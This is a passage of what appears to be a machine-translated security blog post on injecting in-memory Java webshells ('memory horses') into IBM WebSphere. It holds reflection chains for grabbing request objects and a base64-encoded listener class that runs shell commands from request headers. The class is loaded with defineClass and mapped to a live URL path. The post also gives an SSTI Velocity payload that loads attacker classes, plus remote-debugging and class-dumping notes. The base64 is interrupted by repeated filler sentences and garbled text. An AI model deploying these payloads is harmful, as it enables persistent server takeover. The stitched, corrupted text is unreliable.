argetObject = {com.ibm.ws.util.ThreadPool$Worker} ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} ---> value = {com.ibm.ws.util.objectpool.LocalThreadObjectPool} ---> free = {class [Ljava.lang.Object;} ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem} ---> future = {com.ibm.io.async.AsyncFuture} ---> channel = {com.ibm.io.async.AsyncSocketChannel} ---> channelVCI = {com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl} ---> stateStore = {interface java.util.Map} ---> [WCChannelLink] = {com.ibm.ws.webcontainer.channel.WCChannelLink} ---> request = {com.ibm.ws.webcontainer.channel.WCCRequestImpl} idea_express: Object obj0 = TargetObject; // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "thr") { eadLocals()); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = ((java.util.Map) obj1).get("table"); // {java.lang.ThreadLocal$ThreadLocalMap$Entry} Object obj3 = java.lang.reflect.Array.get(obj2, 11); // {com.ibm.ws.util.objectpool.LocalThreadObjectPool} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "val") { ue()); // {class [Ljava.lang.Object;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "fre") { e()); // {com.ibm.io.async.CompletedFutureWorkItem} Object obj6 = java.lang.reflect.Array.get(obj5, 0); // {com.ibm.io.async.AsyncFuture} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure()); // {com.ibm.io.async.AsyncSocketChannel} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"cha") nnel"); // {com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl} Object obj9 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"cha nnelVCI"); // {interface java.util.Map} Object obj10 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj9,"sta teStore"); // {com.ibm.ws.webcontainer.channel.WCChannelLink} Object obj11 = ((java.util.Map) obj10).get("WCChannelLink"); // {com.ibm.ws.webcontainer.channel.WCCRequestImpl} Object obj12 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj11,"re quest");
This is the current
TargetObject = {com.ibm.ws.util.ThreadPool$Worker} ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} ---> value = {com.ibm.ws.util.objectpool.LocalThreadObjectPool} ---> free = {class [Ljava.lang.Object;} ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem} ---> future = {com.ibm.io.async.AsyncFuture} ---> firstListenerState = {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} idea_express: Object obj0 = TargetObject; // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "thr") { eadLocals()); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = ((java.util.Map) obj1).get("table"); // {java.lang.ThreadLocal$ThreadLocalMap$Entry} Object obj3 = java.lang.reflect.Array.get(obj2, 11); // {com.ibm.ws.util.objectpool.LocalThreadObjectPool} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "val") { ue()); // {class [Ljava.lang.Object;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "fre") { e()); // {com.ibm.io.async.CompletedFutureWorkItem} Object obj6 = java.lang.reflect.Array.get(obj5, 0); // {com.ibm.io.async.AsyncFuture} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure()); // {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir stListenerState());
Object obj0 = Thread.currentThread(); // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "thr") { eadLocals()); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1, "tab") { le()); int count = java.lang.reflect.Array.getLength(obj2); for (int i = 0; i < count; i++) { // {java.lang.ThreadLocal$ThreadLocalMap$Entry} Object obj3 = java.lang.reflect.Array.get(obj2, i); if (obj3 == null || !obj3.getClass().getName().contains("ThreadLocalMap$Entry")) { continue; } // {com.ibm.ws.util.objectpool.LocalThreadObjectPool} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "val") { ue()); if (obj4 == null || !obj4.getClass().getName().contains("LocalThreadObjectPool")) { continue; } // {class [Ljava.lang.Object;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "fre") { e()); Object[] free = (Object[]) obj5; for (int j = 0; j < free.length; j++) { // {com.ibm.io.async.CompletedFutureWorkItem} Object obj6 = free[j]; if (obj6==null || !obj6.getClass().getName().contains("CompletedFutureWorkItem") ) { continue; } // {com.ibm.io.async.AsyncFuture} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure()); // {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir stListenerState()); return obj8; } }
3.7.5. Based on Thread.currentThread() to locate context
TargetObject = {com.ibm.ws.util.ThreadPool$Worker} ---> wsThreadLocals = {class [Ljava.lang.Object;} ---> [16] = {com.ibm.ejs.util.FastStack} ---> stack = {class [Ljava.lang.Object;} ---> [1] = {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl} ---> config = {com.ibm.ws.webcontainer.servlet.ServletConfigImpl} ---> context = {com.ibm.wsspi.webcontainer.facade.ServletContextFacade} ---> context = {com.ibm.ws.webcontainer.webapp.WebAppImpl} idea_express: Object obj0 = TargetObject; // {class [Ljava.lang.Object;} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT hreadLocals"); // {com.ibm.ejs.util.FastStack} Object obj2 = java.lang.reflect.Array.get(obj1, 16); // {class [Ljava.lang.Object;} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta ck"); // {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl} Object obj4 = java.lang.reflect.Array.get(obj3, 1); // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con}} fig"); // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade} Object obj6 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con text"); // {com.ibm.ws.webcontainer.webapp.WebAppImpl} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con text");
Object obj0 = Thread.currentThread(); // {class [Ljava.lang.Object;} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT hreadLocals"); Object[] wsThreadLocals = (Object[]) obj1; Object a; for (int i = 0; i < wsThreadLocals.length; i++) { // {com.ibm.ejs.util.FastStack} Object obj2 = wsThreadLocals[i]; if (obj2 == null || !obj2.getClass().getName().contains("FastStack")) { continue; } try { // {class [Ljava.lang.Object;} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta ck"); Object[] stack = (Object[])obj3; for (int j = 0; j < stack.length; j++) { // {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl} Object obj4 = stack[j]; if (obj4 == null || !obj4.getClass().getName().contains("WebComponentMetaDataImpl") { continue; } // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con}} fig"); // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade} Object obj6 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con text"); // {com.ibm.ws.webcontainer.webapp.WebAppImpl} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con text"); a = obj6; } }catch (Exception ignored) { }
}
3.7.6. Locate the global method of context
Object webContainer = getMethodByClass(Class.forName("com.ibm.ws.webcontainer.WebCont ainer", true, classloader), "getWebContainer", new Class[0]).invoke(null, new Object[0]); Object requestMapper = getFieldValue(webContainer, "requestMapper"); Object webGroup = invoke(requestMapper, "map", new Object[] {":9080/visor_externo/*"}); Object webapp = getFieldValue(webGroup, "webApp");
3.7.7. Solution
Through Thread.currentThread() locate context Then through context acquire
requestThus, the echo is realized
Based on stack analysis, summarize the generation of request and response objects, in 7, each
SRTServletRequest are all created based on WCCRequestImpl, which leads to the inability to obtain an identical one
SRTServletRequest,虽然有个缓存队列,但每次请求都会取出来,无法获取到。
AioTCPReadRequestContextImpl->(WCCRequestImpl,WCCResponseImpl)-
>getConnectionContext新建上下文,并传入之前两个变量->
SRTServletRequest, although there is a cache queue, but each request will take it out, and it cannot be obtained.
AioTCPReadRequestContextImpl->(WCCRequestImpl, WCCResponseImpl)-
>getConnectionContext creates a new context and passes the previous two variables-> (SRTServletRequest, SRTServletResponse)3.7.8. Memory horse injection byte[] classBytes = new BASE64Decoder().decodeBuffer( "yv66vgAAADIBKwoAEACkCQBMAKUIAKYJAE wApwgAqAgAqQoAqgCrCgAZAKwIAK0KABkArggAaQoATACvCABqBwCwCABiBwCxCg BMALIKALMAtAcAtQsAEwC2CgBMALcHALgIAHMKAEwAuQcAuggAuwgAvAgAvQgAvg oAvwDACgC/AMEKAMIAwwcAxAoAIQDFCADGCgAhAMcKACEAyAoAIQDJCADKCADLCA UA2AoADgDZCADaCwATANsIANwKABkA3QgA3ggA3wcA4AoAEADhCgBFAOIKAEUA4wDMCgAZAM0IAM4IAM8KABkA0AoAGQDRCADSCwAWANMLABYA1AoA1QDWCgDVANcKAN 0KAOsA5AcA7gcA7wEACXJlc3BvbnNlMQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHoAPADkCgA8AOUHAOYKAEIApAoAQgDnBwDoCgBCAOkHAKEKAEwA6goA6wDsCgBFAO ByZXF1ZXN0RGVzdHJveWVkAQAmKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0cFNlcnZsZXRSZXNwb25zZTsBAANwd2QBABJMamF2YS9sYW5nL1N0cmluZzsBAB N0RXZlbnQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWw= JsZVRhYmxlAQAEdGhpcwEAK0x0b29scy9tZW0vc2hlbGxzL2xpc3RlbmVyL3Rlc3 RDbWRMaXN0ZW5lcjsBABNzZXJ2bGV0UmVxdWVzdEV2ZW50AQAjTGphdmF4L3Nlcn ZsZXQvU2VydmxldFJlcXVlc3RFdmVudDsBAAY8aW5pdD4BAAMoKVYBAAVpc1dpbg EAAygpWgEABm9zbmFtZQEADVN0YWNrTWFwVGFibGUHALoBAAtnZXRSZXNwb25zZQ EAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcmVxdW VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy 9FeGNlcHRpb247AQABZQEAB3JlcXVlc3QBAAhyZXNwb25zZQcAsQcAsAcAsAEAEn JlcXVlc3RJbml0aWFsaXplZAEAAWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW 4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC 9TY2FubmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZyBpdHMgSW5mb3JtYXRpb24u 4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC1pc3N1ZmFjdC5pdHM7AQACaW5mbyBhbmQgZnV0dXJlZCBhIHRvIG5vdCBkYXJrIG5vdCBtYW5hZ2VyIG9mIHRoZSBpdCBkaXN0cmlidWVudCBvZiBhbmQgZnV0dXJlZCB0aGUgZGVzY3JpcHRpb24u AvSHR0cFNlcnZsZXRSZXF1ZXN0OwcA7gcA8AcAtQcAuAcA8QcAcAcAxAEABWNoZW5hbmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH ANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1ZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYX N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNgEABm1ldGhvZAEAGkxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspWgEABWZsYWdzAQ ZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQACY3MBABFMamF2YS9sYW5nL0NsYXNzOw EAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbG Q7BwDgBwDyBwDoAQAKRXhjZXB0aW9ucwEABmludm9rZQEASyhMamF2YS9sYW5nL0 9iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYX ZhL2xhbmcvT2JqZWN0OwEAAm8xAQABaQEAAUkBAAdjbGFzc2VzAQAVTGphdmEvdX RpbC9BcnJheUxpc3Q7AQAEdmFyNwEACm1ldGhvZE5hbWUBAApwYXJhbWV0ZXJzAQ ATW0xqYXZhL2xhbmcvT2JqZWN0OwcA5gcAnAEAEGdldE1ldGhvZEJ5Q2xhc3MBAF EoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy 9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABJbTGphdmEvbGFuZy 9DbGFzczsBAApTb3VyY2VGaWxlAQApdGVzdENtZExpc3RlbmVyLmphdmEgZnJvbS BJbnB1dEZpbGVPYmplY3QMAFsAXAwATgBPAQAQcGFzc3dvcmRwYXNzd29yZAwAUA BRAQADMTExAQAHb3MubmFtZQcA8wwA9AD1DAD2APcBAAN3aW4MAPgA+QwAgwCEAQ 1 ATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwcA8A wA+gD7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA/A D1DABiAGMBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQ wAXQBeAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEACS9iaW4vYm FzaAEAAi1jBwD9DAD+AP8MAQABAQcBAgwBAwEEAQARamF2YS91dGlsL1NjYW5uZX IMAFsBBQEAAlxBDAEGAQcMAQgAXgwBCQD3AQAAAQABDQEAAlxyDAEKAQsBAAEKAQ ACXG4MAQwBDQwBDgEPAQAEdGVzdAwBEAERDAESARMHARQMARUBFgwBFwBcDAEYAF wMARkAXAEADkFjY2VwdC1FbmNvZGVkDAEaAPUBABNnemlwLCBkZWZsYXRlLCB0ZX N0DAEbARwBABBUcmFuc2Zlci1lbmNvZGVkAQAHY2h1bmtlZAEAF2phdmEvbGFuZy 9yZWZsZWN0L0ZpZWxkDAEdAR4MAR8BIAwBIQEeDAEiASMMASQAYwEAE2phdmEvdX RpbC9BcnJheUxpc3QMASUBHAEAD2phdmEvbGFuZy9DbGFzcwwBJgEnDACfAKAHAP IMAJIBKAwBKQEqAQApdG9vbHMvbWVtL3NoZWxscy9saXN0ZW5lci90ZXN0Q21kTG lzdGVuZXIBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBAC FqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABNqYXZhL2lvL0lucH V0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1 N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS 9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbm c7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWdldFNlcn The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'.The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'StringBuffer' is defined in the package 'java.lang'. The class 'Object' is defined in the package 'java.lang'. The interface 'Serializable' is defined in the package 'java.io'. The class 'String' is defined in the package 'java.lang'. M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdm EvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3 NpYmxlAQAEKFopVgEAA2dldAEAA2FkZAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbm cvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7AQA5KExqYXZhL2xhbmcvT2JqZW N0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RG VjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2 xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7ACEATAAQAAEATQACAAEATg BPAAAAAQBQAFEAAAAJAAEAUgBTAAEAVAAAADUAAAACAAAAAbEAAAACAFUAAAAGAA EAAAAVAFYAAAAWAAIAAAABAFcAWAAAAAAAAQBZAFoAAQABAFsAXAABAFQAAABQAA IAAQAAABYqtwABKgG1AAIqEgO1AAQqEgW1AASxAAAAAgBVAAAAFgAFAAAAFgAEAB AACQARAA8AFwAVABgAVgAAAAwAAQAAABYAVwBYAAAAAABdAF4AAQBUAAAAagACAA IAAAAYEga4AAdMK7YACEwrEgm2AAqZAAUErAOsAAAAAwBVAAAAFgAFAAAAGwAGAB wACwAdABQAHgAWACAAVgAAABYAAgAAABgAVwBYAAAABgASAF8AUQABAGAAAAAIAA H8ABYHAGEACgBiAGMAAQBUAAAA1QADAAQAAAAlAUwqEgu4AAxNLBINuAAMTKcAE0 0qEg8DvQAQuAARTKcABE4rsAACAAIAEAATAA4AFAAfACIADgADAFUAAAAmAAkAAA AkAAIAJgAJACcAEAAuABMAKAAUACoAHwAtACIAKwAjAC8AVgAAADQABQAJAAcAZA BlAAIAIwAAAGYAZwADABQADwBoAGcAAgAAACUAaQBlAAAAAgAjAGoAZQABAGAAAA AoAAP/ABMAAgcAawcAawABBwBs/wAOAAMHAGsHAGsHAG0AAQcAbPoAAAABAG4AUw ABAFQAAAJWAAQACgAAAOwrtgASwAATTSwqtAAEuQAUAgDGANksuAAVwAAWTgE6BC wSF7kAFAIAOgYZBscABLEqtgAYmQAbBr0AGVkDEhpTWQQSG1NZBRkGUzoFpwAYBr 0AGVkDEhxTWQQSHVNZBRkGUzoFuAAeGQW2AB+2ACA6BLsAIVkZBLcAIhIjtgAkOg cZB7YAJZkACxkHtgAmpwAFEic6CBkIEigSKbYAKhIrEiy2ACo6CRkItgAtEQfQpA ANGQgRB9C2AC46CC0SLxkJuQAwAwAtuQAxAQAZCLYAMi25ADEBALYAMy25ADEBAL YANKcACE4ttgA1sQACABUALwDmAA4AMADjAOYADgADAFUAAABiABgAAAAzAAgANQ AVADcAHQA/ACAAQQAqAEIALwBDADAARgA3AEcATwBJAGQASwBxAE0AgQBOAJUATw CnAFAAsgBRALwAUwDGAFQA0QBVANoAVgDjAFoA5gBYAOcAWQDrAF4AVgAAAHoADA BMAAMAbwBwAAUAHQDGAGoATwADACAAwwBxAHIABABkAH8AbwBwAAUAKgC5AHMAUQ AGAIEAYgB0AHUABwCVAE4AdgBRAAgApwA8AHcAUQAJAOcABABoAGcAAwAAAOwAVw BYAAAAAADsAFkAWgABAAgA5ABpAHgAAgBgAAAAYAAI/wAwAAcHAHkHAHoHAHsHAH wHAH0ABwBhAAAe/wAUAAcHAHkHAHoHAHsHAHwHAH0HAH4HAGEAAPwALAcAf0EHAG H9ACgHAGEHAGH/ACkAAwcAeQcAegcAewABBwBsBAAAAIAAgQABAFQAAACLAAMABA AAACQrEja5ADcCAE4txgAMLRI4tgA5mgAFA6wsEjoSO7kAMAMABKwAAAADAFUAAA AWAAUAAABhAAkAYgAWAGUAGABoACIAagBWAAAAKgAEAAAAJABXAFgAAAAAACQAaQ B4AAEAAAAkAGoATwACAAkAGwCCAFEAAwBgAAAACQAC/AAWBwBhAQAJAIMAhAACAF QAAAD4AAIABgAAAEIBTSrBADyZAAsqwAA8TacAKQFOKrYAPToEGQTGABwZBCu2AD 5NAToEp//xOgUZBLYAPzoEp//lLAS2AEAsKrYAQbAAAQAeACgAKwAOAAMAVQAAAD oADgAAAG8AAgBwAAkAcQARAHMAEwB0ABkAdgAeAHgAJQB5ACgAfAArAHoALQB7AD QAfAA3AIAAPACBAFYAAAA+AAYALQAHAIUAZwAFABMAJACGAIcAAwAZAB4AiACJAA QAAABCAIoAZQAAAAAAQgCLAFEAAQACAEAAjACNAAIAYAAAABgABPwAEQcAjv0ABw cAjwcAkFEHAGz5AAsAkQAAAAQAAQAOAIoAkgCTAAEAVAAAATIABAAGAAAAYLsAQl m3AENOLMYANAM2BBUELL6iACosFQQyOgUZBcYAEC0ZBbYAPbYARFenAAwtAcAAEL YARFeEBAGn/9UqtgA9Ky0DvQBFtgBGwABHwABHuABIOgQZBCostgBJsE4BsAABAA AAXABdAA4AAwBVAAAAMgAMAAAAhgAIAIcADACIABYAiQAcAIoAIQCLAC4AjQA3AI gAPQCSAFUAkwBdAJQAXgCVAFYAAABSAAgAHAAbAJQAZQAFAA8ALgCVAJYABAAIAF UAlwCYAAMAVQAIAIYAhwAEAF4AAgCZAGcAAwAAAGAAigBlAAAAAABgAJoAUQABAA The context is obtained as follows, you can see that the webcontainer contains all contexts running on all ports, so that It can operate across contexts very easily. It is based on ClauseNode for recursive matching, thus matching the desired node and obtaining the final context, each level of node has a children to store the lower-level nodes,}node stored in hashTable AAYACbAJwAAgBgAAAAKAAF/QAPBwCdAfwAHgcAa/oACPoABf8AHwADBwBrBwBhBw CeAAEHAGwAigCfAKAAAQBUAAAAtAADAAUAAAAjAU4qxgAeKisstgBKTgFLLQS2AE un/+46BCq2AD9Lp//kLbAAAQAGABQAFwAOAAMAVQAAACoACgAAAJsAAgCdAAYAnw ANAKAADwChABQApAAXAKIAGQCjAB4ApAAhAKcAVgAAADQABQAZAAUAhQBnAAQAAA AjAIgAiQAAAAAAIwCaAFEAAQAAACMAmwChAAIAAgAhAIYAhwADAGAAAAANAAP8AA IHAI9UBwBsCQABAKIAAAACAKM="); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); ; Class cc = (Class) defineClassMethod.invoke(new java.security.SecureClassLoader(Thread.currentThread().getClass( ).getClassLoader()), new Object[]{classBytes, new Integer(0), new Integer(classBytes.length)}); ((WebGroupImpl WebContainer.getWebContainer().requestMapper.map(":9080/visor_ex terno/*\ tance());
The context is obtained as follows, you can see that the webcontainer contains all contexts running on all ports, so that
It can operate across contexts very easily.
It is based on ClauseNode for recursive matching, thus matching the desired node and obtaining the final
Context, each level of node has a children to store the lower-level node, and node is stored in hashTable
Here you can see that the next level of the port is the matching URI
After URI matching, it reaches the final context
You can directly obtain the webgroup object in the following way, and the webapp stores listener properties, etc., so that
It takes just one step to inject a memory horse.
4. Agent Injection
5. Technique
5.1. SSTI
#set($s=""); #set($evil="b64xxxxx"); #set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newI nstance().decodeBuffer($evil)); #set($ReflectUtils=$s.getClass().forName("org.springframework.cg lib.core.ReflectUtils").getDeclaredConstructor()) #set($classLoader=$s.getClass().forName("java.lang.Thread").curr entThread().getContextClassLoader()); $ReflectUtils.setAccessible(true); #set($ReflectUtilsObject=$ReflectUtils.newInstance()); #set($_=$ReflectUtilsObject.defineClass("Payload286011263666700" $evilb, $classLoader)); #set($shellServlet=$classLoader.loadClass("Payload28601126366670", 0()).newInstance());
5.2. Remote Debugging
JDK5-8
- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
JDK9 or later
- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
For some third-party binary files that encapsulate JVM and cannot be debugged by parameters as above, you can
By setting the global environment variable, of course, it also applies to the original java.exe
set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
After the remote class is loaded, you can also place the same class locally, so you can achieve synchronous debugging
5.3. dumpclass
Sometimes you need to dump the runtime memory, some classes can't find the jar package location (it may be dynamically generated by proxy)
or similar memory horses.
Find an existing project https://github.com/hengyunabc/dumpclass, which supports multiple
classloader scenario.
If you call java -jar directly, it will report an error because it calls jre, and jre does not have sa-jdi.jar, so you can find
The absolute path to java.exe, use the absolute path, as follows, it can be successful.
"C:\\Java\\jdk1.8.0_212\\bin\\java.exe" -jar dumpclass.jar -p 10820 com.seeyon.ctp.login.LoginHelper
6. References
https://blog.csdn.net/sinat_29846389/article/details/122513297
https://github.com/pen4uin/awesome-java-security/blob/main/middleware/resin/note/REA
DME.md
https://github.com/feihong-cs/memShell

评论已关闭